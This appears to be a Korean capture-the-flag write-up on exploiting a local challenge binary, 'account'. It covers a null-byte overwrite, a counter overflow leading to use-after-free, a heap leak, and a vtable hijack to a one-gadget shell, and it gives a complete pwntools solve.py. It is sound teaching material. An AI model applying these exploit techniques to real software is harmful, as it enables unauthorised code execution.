MEMORY:00007FFFF7FFA085 db 0 MEMORY:00007FFFF7FFA086 db 0 MEMORY:00007FFFF7FFA087 db 0 MEMORY:00007FFFF7FFA088 db 0 MEMORY:00007FFFF7FFA089 db 0 MEMORY:00007FFFF7FFA08A db 0 MEMORY:00007FFFF7FFA08B db 0 MEMORY:00007FFFF7FFA08C db 0 MEMORY:00007FFFF7FFA08D db 0 MEMORY:00007FFFF7FFA08E db 0 MEMORY:00007FFFF7FFA08F db 0 MEMORY:00007FFFF7FFA090 db 0
여기서 modify_account_data(False, b"\x01", b"D"*8)
수행할 경우:
- 2번째 인덱스 account의
is_utf8_type
1바이트 필드가 0으로 덮어써진다.
MEMORY:00007FFFF7FFA000 db 1 MEMORY:00007FFFF7FFA001 db 1 MEMORY:00007FFFF7FFA002 db 0 MEMORY:00007FFFF7FFA003 db 0 MEMORY:00007FFFF7FFA004 db 0 MEMORY:00007FFFF7FFA005 db 0 MEMORY:00007FFFF7FFA006 db 0 MEMORY:00007FFFF7FFA007 db 0 MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA018 MEMORY:00007FFFF7FFA010 dq 0 MEMORY:00007FFFF7FFA018 off_7FFFF7FFA018 dq offset unk_4141414141414141 MEMORY:00007FFFF7FFA018 ; DATA XREF: MEMORY:00007FFFF7FFA008↑o MEMORY:00007FFFF7FFA020 db 0 MEMORY:00007FFFF7FFA021 byte_7FFFF7FFA021 db 0 ; DATA XREF: MEMORY:off_7FFFF7FFA07B↓o MEMORY:00007FFFF7FFA022 db 2 MEMORY:00007FFFF7FFA023 db 0 MEMORY:00007FFFF7FFA024 db 0 MEMORY:00007FFFF7FFA025 db 0 MEMORY:00007FFFF7FFA026 db 0 MEMORY:00007FFFF7FFA027 db 0 MEMORY:00007FFFF7FFA028 db 0 MEMORY:00007FFFF7FFA029 dq offset off_7FFFF7FFA039 MEMORY:00007FFFF7FFA031 dq 0 MEMORY:00007FFFF7FFA039 off_7FFFF7FFA039 dq offset unk_4444444444444444 MEMORY:00007FFFF7FFA039 ; DATA XREF: MEMORY:00007FFFF7FFA029↑o MEMORY:00007FFFF7FFA041 db 0 MEMORY:00007FFFF7FFA042 db 0 MEMORY:00007FFFF7FFA043 db 1 MEMORY:00007FFFF7FFA044 db 0 MEMORY:00007FFFF7FFA045 db 0 MEMORY:00007FFFF7FFA046 db 0 MEMORY:00007FFFF7FFA047 db 0 MEMORY:00007FFFF7FFA048 db 0 MEMORY:00007FFFF7FFA049 db 0 MEMORY:00007FFFF7FFA04A dq offset off_7FFFF7FFA05A MEMORY:00007FFFF7FFA052 dq 0 MEMORY:00007FFFF7FFA05A off_7FFFF7FFA05A dq offset unk_4343434343434343 MEMORY:00007FFFF7FFA05A ; DATA XREF: MEMORY:00007FFFF7FFA04A↑o MEMORY:00007FFFF7FFA062 db 0 MEMORY:00007FFFF7FFA063 db 1 MEMORY:00007FFFF7FFA064 db 0 MEMORY:00007FFFF7FFA065 db 0 MEMORY:00007FFFF7FFA066 db 0 MEMORY:00007FFFF7FFA067 db 0 MEMORY:00007FFFF7FFA068 db 0 MEMORY:00007FFFF7FFA069 db 0 MEMORY:00007FFFF7FFA06A db 0 MEMORY:00007FFFF7FFA06B dq offset off_7FFFF7FFA07B MEMORY:00007FFFF7FFA073 dq offset group_vtable MEMORY:00007FFFF7FFA07B off_7FFFF7FFA07B dq offset byte_7FFFF7FFA021 MEMORY:00007FFFF7FFA07B ; DATA XREF: MEMORY:00007FFFF7FFA06B↑o MEMORY:00007FFFF7FFA083 db 0 MEMORY:00007FFFF7FFA084 db 0 MEMORY:00007FFFF7FFA085 db 0 MEMORY:00007FFFF7FFA086 db 0 MEMORY:00007FFFF7FFA087 db 0 MEMORY:00007FFFF7FFA088 db 0 MEMORY:00007FFFF7FFA089 db 0 MEMORY:00007FFFF7FFA08A db 0 MEMORY:00007FFFF7FFA08B db 0 MEMORY:00007FFFF7FFA08C db 0 MEMORY:00007FFFF7FFA08D db 0 MEMORY:00007FFFF7FFA08E db 0 MEMORY:00007FFFF7FFA08F db 0 MEMORY:00007FFFF7FFA090 db 0
2번쨰 account 그 뒤에는 group 구조체 필드들이 저장되있다.
group 구조체는 다음과 같다.
struct group // sizeof=0x18 { _DWORD account_count; _BYTE gap0[4]; void *account_array; group_vtable *_group_vtable; };
modify_account_data
를 통해 마찬가지로 \x00 덮어써지는 1바이트 버그로 account_count
필드 중 하위 바이트를 0으로 덮을 수 있기에,
group에 account가 있더라도, delete_group
함수를 호출 할 수 있다.
add_account_to_group
를 호출할때, 내부적으로 add_account_to_group
함수를 호출한다.
__int64 __fastcall increase_account_count(unsigned __int8 account_index) { account *_account; // [rsp+8h] [rbp-18h] if ( account_index < 0x10u && (_account = (account *)account_id_array[account_index]) != 0 ) { return ++_account->count; } else { fprintf(MEMORY[0x7FFFF7FAD860], "invalid account id\n"); return (unsigned __int8)-1; } }
account 구조체는 다음과 같다.
struct account // sizeof=0x10 { BOOL is_utf8_type; unsigned __int8 count; // padding byte // padding byte // padding byte // padding byte // padding byte // padding byte _QWORD qword8; };
버그로 아래 과정을 5번 수행했을때 make_group()
→ add_account_to_group(group_index, b"\x01")
→ modify_account_data(False, b"\x02", b"D"*8)
→ delete_group(b"\x00")
count를 계속 증가시켜 0xff
에서 더 증가시키면,
1번쨰 인덱스의 account의 count
필드를 다시 0으로 만들어줄 수 있다.
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account', checksec=False) def make_account(is_utf8_type, data): _menu = b"\x00" if(is_utf8_type): _is_utf8_type = b"\x01" else: _is_utf8_type = b"\x00" _data = data payload = _menu + _is_utf8_type + _data p.send(payload) return p.recv(1) def delete_account(index): _menu = b"\x01" _index = index payload = _menu + _index p.send(payload) return p.recv(1) def modify_account_data(is_utf8_type, account_index, data): _menu = b"\x02" if(is_utf8_type): _is_utf8_type = b"\x01" else: _is_utf8_type = b"\x00" payload = _menu + account_index + _is_utf8_type + data p.send(payload) r = p.recv(len(data)) info(f"modify_account_Data r: {r}") return p.recv() def make_group(): _menu = b"\x10" p.send(_menu) return p.recv(1) def delete_group(group_index): _menu = b"\x11" p.send(_menu + group_index) return p.recv(1) def add_account_to_group(group_index, account_index): _menu = b"\x12" p.send(_menu + group_index + account_index) return p.recv(1) def delete_account_from_group(group_index, account_index): _menu = b"\x13" p.send(_menu + group_index + account_index) return p.recv(1) def list_group(group_index): p.send(b"\x14" + group_index) return p.recv() account_index = make_account(True, b"A"*8) #0 info(f"make_account _index: {account_index}") account_index = make_account(True, b"B"*8) #1 info(f"make_account _index: {account_index}") account_index = make_account(True, b"C"*8) #2 info(f"make_account _index: {account_index}") for i in range(0xff-1): group_index = make_group() #0 info(f"group_index _index: {group_index}") add_account_to_group(group_index, b"\x01") #(group_id, account_id) # pause() modify_account_data(False, b"\x02", b"D"*8) # delete_account_from_group(b"\x00", b"\x01") #(group_id, account_id) delete_group(b"\x00")
0xff
번 수행했을때, 1번째 인덱스의 account의 count
필드값이 0으로 됨.

delete_account_from_group
을 통한 free 시도.
# ... group_index = make_group() #0 info(f"group_index _index: {group_index}") add_account_to_group(group_index, b"\x01") #(group_id, account_id) # 여기까지 했을때, 1번쨰 인덱스 account의 count 필드값은 1이 됨. delete_account_from_group(group_index, b"\x01") #group, account #Free 됨.
delete_account_from_group
수행전 – 0번째 인덱스 group:
account_array[0]
은 1번째 인덱스의 account
를 가리킴.



delete_account_from_group
수행후 – 0번째 인덱스 group:
- 내부적으로 free_account_id 수행
- 2번의 free를 수행함
free_func((__int64)_account->account_data);
free_func((__int64)_account);
account_id_array[1]
에는 여전히 남아있음
__int64 __fastcall free_account_id(unsigned __int8 a1) { account *_account; // [rsp+8h] [rbp-18h] if ( a1 < 0x10u && (_account = (account *)account_id_array[a1]) != 0 ) { if ( !--_account->count ) { free_func((__int64)_account->account_data); free_func((__int64)_account); } return _account->count; } else { fprintf(unk_7FFFF7FAD860, "invalid account id\n"); return (unsigned __int8)-1; } }
account_array[0]
은 1번째 인덱스의 account
를 가리킴.nullptr 0
가리킴.



make_group()
을 통한 재할당 시도 (UAF)
Code: group_index = make_group()
2번의 할당이 이루어짐.
v0 = alloca((signed __int64)group_array);
v1 = alloca((signed __int64)group_array)...
Use-after-free 버그 발생.
account_id_array[1]
과group_array[1]
은 서로 같은 주소를 가리킴0x7FFFF7FFA021
__int64 make_group() { void *v0; // rsp void *v1; // rsp int i; // [rsp+10h] [rbp-10h] for ( i = 0; ; ++i ) { if ( i >= 16 ) { fprintf(stderr, "no more group\n"); return (unsigned __int8)-1; } if ( !group_array[i] ) break; } v0 = alloca((signed __int64)group_array); if ( group_array && (LODWORD(group_array[0]) = 0, v1 = alloca((signed __int64)group_array), (group_array[1] = group_array) != 0) ) { memset((void *)group_array[1], 0, 0x80u); group_array[2] = &group_vtable; group_array[i] = group_array; return (unsigned __int8)i; } else { fprintf(stderr, "failed to allocate memory\n"); return (unsigned __int8)-1; } }

heap base 누출
이제 list_group
함수 출력을 통해 heap base 주소를 누출시킬 수 있다.
Code:
# ... add_account_to_group(group_index, b"\x01") #(group_id, account_id) list_group(b"\x01") #(group_index) leaked_heap_base = p.recvuntil(b"\x7f") p.recv(1) leaked_heap_base = u64(leaked_heap_base.ljust(8, b"\x00")) - 0x21 success(f"leaked_heap_base: {hex(leaked_heap_base)}")


account 추가 생성 및 vtable 주소 삽입
- 생성된 account_array[3] 주소 =
0x0007FFFF7FFA17B
group_vtable_ptr = leaked_heap_base + 0x31 make_account(True, b"E"*8 + p64(group_vtable_ptr))

1, 0번쨰 인덱스 account 제거 후 account 생성, 인덱스0
- G 23바이트 데이터와 함께 account 생성
0x0007FFFF7FFA000
주소에 할당- 왜 23바이트? XXX 안그러면 끝에 쉘딸때
add_account_to_group
함수 수행시'group is full’
에러뜸 - 원래는 vtable에 원가젯 주소가 적혀있어 실행되야하는데? 왜?
delete_account(b"\x01") delete_account(b"\x00") make_account(b"\x01", b"G"*23)
MEMORY:00007FFFF7FFA000 db 1 ; is_utf8_type MEMORY:00007FFFF7FFA001 db 1 ; count MEMORY:00007FFFF7FFA002 db 0, 0, 0, 0, 0, 0 MEMORY:00007FFFF7FFA008 dq offset stru_7FFFF7FFA021 ; account_data MEMORY:00007FFFF7FFA010 db 0 MEMORY:00007FFFF7FFA011 db 0 MEMORY:00007FFFF7FFA012 db 0 MEMORY:00007FFFF7FFA013 db 0 MEMORY:00007FFFF7FFA014 db 0 MEMORY:00007FFFF7FFA015 db 0 MEMORY:00007FFFF7FFA016 db 0 MEMORY:00007FFFF7FFA017 db 0 MEMORY:00007FFFF7FFA018 db 41h ; A MEMORY:00007FFFF7FFA019 db 41h ; A MEMORY:00007FFFF7FFA01A db 41h ; A MEMORY:00007FFFF7FFA01B db 41h ; A MEMORY:00007FFFF7FFA01C db 41h ; A MEMORY:00007FFFF7FFA01D db 41h ; A MEMORY:00007FFFF7FFA01E db 41h ; A MEMORY:00007FFFF7FFA01F db 41h ; A MEMORY:00007FFFF7FFA020 db 0 MEMORY:00007FFFF7FFA021 stru_7FFFF7FFA021 group <47h, <47h, 47h, 47h, 47h, 47h, 47h, 47h>, \ MEMORY:00007FFFF7FFA021 ; DATA XREF: MEMORY:00007FFFF7FFA000↑o MEMORY:00007FFFF7FFA021 offset unk_4747474747474747, offset unk_47474747474747> MEMORY:00007FFFF7FFA039 db 42h ; B MEMORY:00007FFFF7FFA03A db 42h ; B MEMORY:00007FFFF7FFA03B db 42h ; B MEMORY:00007FFFF7FFA03C db 42h ; B MEMORY:00007FFFF7FFA03D db 42h ; B MEMORY:00007FFFF7FFA03E db 42h ; B MEMORY:00007FFFF7FFA03F db 42h ; B MEMORY:00007FFFF7FFA040 db 42h ; B MEMORY:00007FFFF7FFA041 db 0
제거 후 0번째 account 생성시 23바이트여야 vtable에 원가젯 주소가 실행되는 이유
요약: 26바이트인 이유는 0x0007FFFF7FFA021
주소값으로 재할당받기 위해
인덱스 1 account 계정 생성했을때, 0x~21부터 0x~38까지 account 구조체를 위해 할당함 (그 뒤 주소는 account_data 값 들어감)
0x38 - 0x21 = 23

시행 착오:
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account', checksec=False) def make_account(is_utf8_type, data): _menu = b"\x00" if(is_utf8_type): _is_utf8_type = b"\x01" else: _is_utf8_type = b"\x00" _data = data payload = _menu + _is_utf8_type + _data p.send(payload) return p.recv(1) def delete_account(index): _menu = b"\x01" _index = index payload = _menu + _index p.send(payload) return p.recv(1) def modify_account_data(is_utf8_type, account_index, data): _menu = b"\x02" if(is_utf8_type): _is_utf8_type = b"\x01" else: _is_utf8_type = b"\x00" payload = _menu + account_index + _is_utf8_type + data p.send(payload) r = p.recv(len(data)) info(f"modify_account_data r: {r}") return p.recv(timeout=0.5) def make_group(): _menu = b"\x10" p.send(_menu) return p.recv(1) def delete_group(group_index): _menu = b"\x11" p.send(_menu + group_index) return p.recv(1) def add_account_to_group(group_index, account_index): _menu = b"\x12" p.send(_menu + group_index + account_index) return p.recv(1, timeout=0.5) def delete_account_from_group(group_index, account_index): _menu = b"\x13" p.send(_menu + group_index + account_index) return p.recv(1) def list_group(group_index): p.send(b"\x14" + group_index) # return p.recv() account_index = make_account(True, b"A"*8) #0 info(f"make_account _index: {account_index}") account_index = make_account(True, b"B"*8) #1 info(f"make_account _index: {account_index}") account_index = make_account(True, b"C"*8) #2 info(f"make_account _index: {account_index}") for i in range(0xff): group_index = make_group() #0 info(f"group_index _index: {group_index}") add_account_to_group(group_index, b"\x01") #(group_id, account_id) # pause() modify_account_data(False, b"\x02", b"D"*8) # delete_account_from_group(b"\x00", b"\x01") #(group_id, account_id) delete_group(b"\x00") group_index = make_group() #0 info(f"group_index _index: {group_index}") add_account_to_group(group_index, b"\x01") #(group_id, account_id) # 여기까지 했을때, 1번쨰 인덱스 account의 count 필드값은 1이 됨. delete_account_from_group(group_index, b"\x01") #(group_id, account_id) #Free 됨. group_index = make_group() #1 #Use 됨. add_account_to_group(group_index, b"\x01") #(group_id, account_id) list_group(b"\x01") #(group_index) leaked_heap_base = p.recvuntil(b"\x7f") p.recv(1) leaked_heap_base = u64(leaked_heap_base.ljust(8, b"\x00")) - 0x21 success(f"leaked_heap_base: {hex(leaked_heap_base)}") group_vtable_ptr = leaked_heap_base + 0x31 make_account(True, b"E"*8 + p64(group_vtable_ptr)) delete_account(b"\x01") delete_account(b"\x00") make_account(True, b"G"*23) #account_index=0 (is_utf8_type, account_data) libc_base = leaked_heap_base - 0x268000 og = libc_base + 0xebc81 make_account(True, b"B"*16+ p64(og)) #account_index=1 (is_utf8_type, account_data) pause()
MEMORY:00007FFFF7FFA000 db 1 ; is_utf8_type MEMORY:00007FFFF7FFA001 db 1 ; count MEMORY:00007FFFF7FFA002 db 0, 0, 0, 0, 0, 0 MEMORY:00007FFFF7FFA008 dq offset stru_7FFFF7FFA021 ; account_data MEMORY:00007FFFF7FFA010 db 0 MEMORY:00007FFFF7FFA011 db 0 MEMORY:00007FFFF7FFA012 db 0 MEMORY:00007FFFF7FFA013 db 0 MEMORY:00007FFFF7FFA014 db 0 MEMORY:00007FFFF7FFA015 db 0 MEMORY:00007FFFF7FFA016 db 0 MEMORY:00007FFFF7FFA017 db 0 MEMORY:00007FFFF7FFA018 db 41h ; A MEMORY:00007FFFF7FFA019 db 41h ; A MEMORY:00007FFFF7FFA01A db 41h ; A MEMORY:00007FFFF7FFA01B db 41h ; A MEMORY:00007FFFF7FFA01C db 41h ; A MEMORY:00007FFFF7FFA01D db 41h ; A MEMORY:00007FFFF7FFA01E db 41h ; A MEMORY:00007FFFF7FFA01F db 41h ; A MEMORY:00007FFFF7FFA020 db 0 MEMORY:00007FFFF7FFA021 stru_7FFFF7FFA021 db 47h ; account_count MEMORY:00007FFFF7FFA021 ; DATA XREF: MEMORY:00007FFFF7FFA000↑o MEMORY:00007FFFF7FFA022 db 47h, 47h, 47h, 47h, 47h, 47h, 47h ; gap0 MEMORY:00007FFFF7FFA029 dq offset unk_4747474747474747 ; account_array MEMORY:00007FFFF7FFA031 dq offset unk_47474747474747 ; _group_vtable MEMORY:00007FFFF7FFA039 db 42h ; B MEMORY:00007FFFF7FFA03A db 42h ; B MEMORY:00007FFFF7FFA03B db 42h ; B MEMORY:00007FFFF7FFA03C db 42h ; B MEMORY:00007FFFF7FFA03D db 42h ; B MEMORY:00007FFFF7FFA03E db 42h ; B MEMORY:00007FFFF7FFA03F db 42h ; B MEMORY:00007FFFF7FFA040 db 42h ; B MEMORY:00007FFFF7FFA041 db 0
22바이트 일경우:
이전 할당한 크기와 달라 account 생성시 0x7FFFF7FFA1A2
주소로 할당받음!!!
0x7FFFF7FFA1A2
≠ 0x7FFFF7FFA021
mismatch.
0x7FFFF7FFA021
은 account_array[1]
, group_array[1]
의 주소를 의미. 연속된 G 문자열 자체가 덮히지 않음. 23바이트였다면 덮혀야 함.
MEMORY:00007FFFF7FFA000 db 1 ; is_utf8_type MEMORY:00007FFFF7FFA001 db 1 ; count MEMORY:00007FFFF7FFA002 db 0, 0, 0, 0, 0, 0 MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA1A2 ; account_data MEMORY:00007FFFF7FFA010 db 0 MEMORY:00007FFFF7FFA011 db 0 MEMORY:00007FFFF7FFA012 db 0 MEMORY:00007FFFF7FFA013 db 0 MEMORY:00007FFFF7FFA014 db 0 MEMORY:00007FFFF7FFA015 db 0 MEMORY:00007FFFF7FFA016 db 0 MEMORY:00007FFFF7FFA017 db 0 MEMORY:00007FFFF7FFA018 db 41h ; A MEMORY:00007FFFF7FFA019 db 41h ; A MEMORY:00007FFFF7FFA01A db 41h ; A MEMORY:00007FFFF7FFA01B db 41h ; A MEMORY:00007FFFF7FFA01C db 41h ; A MEMORY:00007FFFF7FFA01D db 41h ; A MEMORY:00007FFFF7FFA01E db 41h ; A MEMORY:00007FFFF7FFA01F db 41h ; A MEMORY:00007FFFF7FFA020 db 0 MEMORY:00007FFFF7FFA021 db 1 ; account_count MEMORY:00007FFFF7FFA022 db 1, 0, 0, 0, 0, 0, 0 ; gap0 MEMORY:00007FFFF7FFA029 dq offset off_7FFFF7FFA1B9 ; account_array MEMORY:00007FFFF7FFA031 dq offset group_vtable ; _group_vtable MEMORY:00007FFFF7FFA039 db 42h ; B MEMORY:00007FFFF7FFA03A db 42h ; B MEMORY:00007FFFF7FFA03B db 42h ; B MEMORY:00007FFFF7FFA03C db 42h ; B MEMORY:00007FFFF7FFA03D db 42h ; B MEMORY:00007FFFF7FFA03E db 42h ; B MEMORY:00007FFFF7FFA03F db 42h ; B MEMORY:00007FFFF7FFA040 db 42h ; B MEMORY:00007FFFF7FFA041 db 0
계정 생성, 인덱스1
0x0007FFFF7FFA1A2
주소에 할당- 이는 곧
account_data
에 임의의 데이터가 써지는데, 해당 데이터 주소는 곧 1번쨰 인덱스 group의 vtable에 써지는것임.
libc_base = leaked_heap_base - 0x268000 og = libc_base + 0xebc81 make_account(b"\x01", b"B"*16+ p64(og))

modify_account_data
# account_id_array[1]'s account_data account_id_array1_data = leaked_heap_base + 0x1ba modify_account_data(False, b"\x00", b"C"*16 + p64(account_id_array1_data))

마지막.. vtable을 통한 원가젯 실행
이제 group_array의 1번째 인덱스로 vtable의 delete_account_from_group
실행시키려 하면, 원가젯이 실행됨.
v7 = 0x0007FFFF7FFA021
v7->_group_vtable = 0x7FFFF7FFA1BA
v7->_group_vtable->delete_account_from_group = 원가젯 주소
add_account_to_group(b"\x01", b"\x00") #(group_id, account_id)
case '\x13': if ( a2 != 3 ) goto LABEL_29; if ( (unsigned __int8)a1[1] >= 0x10u ) goto LABEL_32; v7 = (group *)group_array[(unsigned __int8)a1[1]]; if ( !v7 ) goto LABEL_32; v6 = v7->_group_vtable->delete_account_from_group(a1[1], a1[2]); printf("%c", v6); v17 = v6; break;


solve.py
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./account") e = ELF('./account', checksec=False) def make_account(is_utf8_type, data): _menu = b"\x00" if(is_utf8_type): _is_utf8_type = b"\x01" else: _is_utf8_type = b"\x00" _data = data payload = _menu + _is_utf8_type + _data p.send(payload) return p.recv(1) def delete_account(index): _menu = b"\x01" _index = index payload = _menu + _index p.send(payload) return p.recv(1) def modify_account_data(is_utf8_type, account_index, data): _menu = b"\x02" if(is_utf8_type): _is_utf8_type = b"\x01" else: _is_utf8_type = b"\x00" payload = _menu + account_index + _is_utf8_type + data p.send(payload) r = p.recv(len(data)) info(f"modify_account_data r: {r}") return p.recv(timeout=0.5) def make_group(): _menu = b"\x10" p.send(_menu) return p.recv(1) def delete_group(group_index): _menu = b"\x11" p.send(_menu + group_index) return p.recv(1) def add_account_to_group(group_index, account_index): _menu = b"\x12" p.send(_menu + group_index + account_index) return p.recv(1, timeout=0.5) def delete_account_from_group(group_index, account_index): _menu = b"\x13" p.send(_menu + group_index + account_index) return p.recv(1) def list_group(group_index): p.send(b"\x14" + group_index) # return p.recv() account_index = make_account(True, b"A"*8) #0 info(f"make_account _index: {account_index}") account_index = make_account(True, b"B"*8) #1 info(f"make_account _index: {account_index}") account_index = make_account(True, b"C"*8) #2 info(f"make_account _index: {account_index}") # pause() for i in range(0xff): group_index = make_group() #0 info(f"group_index _index: {group_index}") add_account_to_group(group_index, b"\x01") #(group_id, account_id) # pause() modify_account_data(False, b"\x02", b"D"*8) # delete_account_from_group(b"\x00", b"\x01") #(group_id, account_id) delete_group(b"\x00") group_index = make_group() #0 info(f"group_index _index: {group_index}") add_account_to_group(group_index, b"\x01") #(group_id, account_id) # 여기까지 했을때, 1번쨰 인덱스 account의 count 필드값은 1이 됨. delete_account_from_group(group_index, b"\x01") #(group_id, account_id) #Free 됨. group_index = make_group() #1 #Use 됨. add_account_to_group(group_index, b"\x01") #(group_id, account_id) list_group(b"\x01") #(group_index) leaked_heap_base = p.recvuntil(b"\x7f") p.recv(1) leaked_heap_base = u64(leaked_heap_base.ljust(8, b"\x00")) - 0x21 success(f"leaked_heap_base: {hex(leaked_heap_base)}") group_vtable_ptr = leaked_heap_base + 0x31 make_account(True, b"E"*8 + p64(group_vtable_ptr)) delete_account(b"\x01") delete_account(b"\x00") # pause() make_account(True, b"G"*23) #account_index=0 (is_utf8_type, account_data) libc_base = leaked_heap_base - 0x268000 og = libc_base + 0xebc81 make_account(True, b"B"*16+ p64(og)) #account_index=1 (is_utf8_type, account_data) # pause() # account_id_array[1]'s account_data account_id_array1_data = leaked_heap_base + 0x1ba # (account_index, data) modify_account_data(False, b"\x00", b"C"*16 + p64(account_id_array1_data)) # pause() add_account_to_group(b"\x01", b"\x00") #(group_id, account_id) p.interactive()
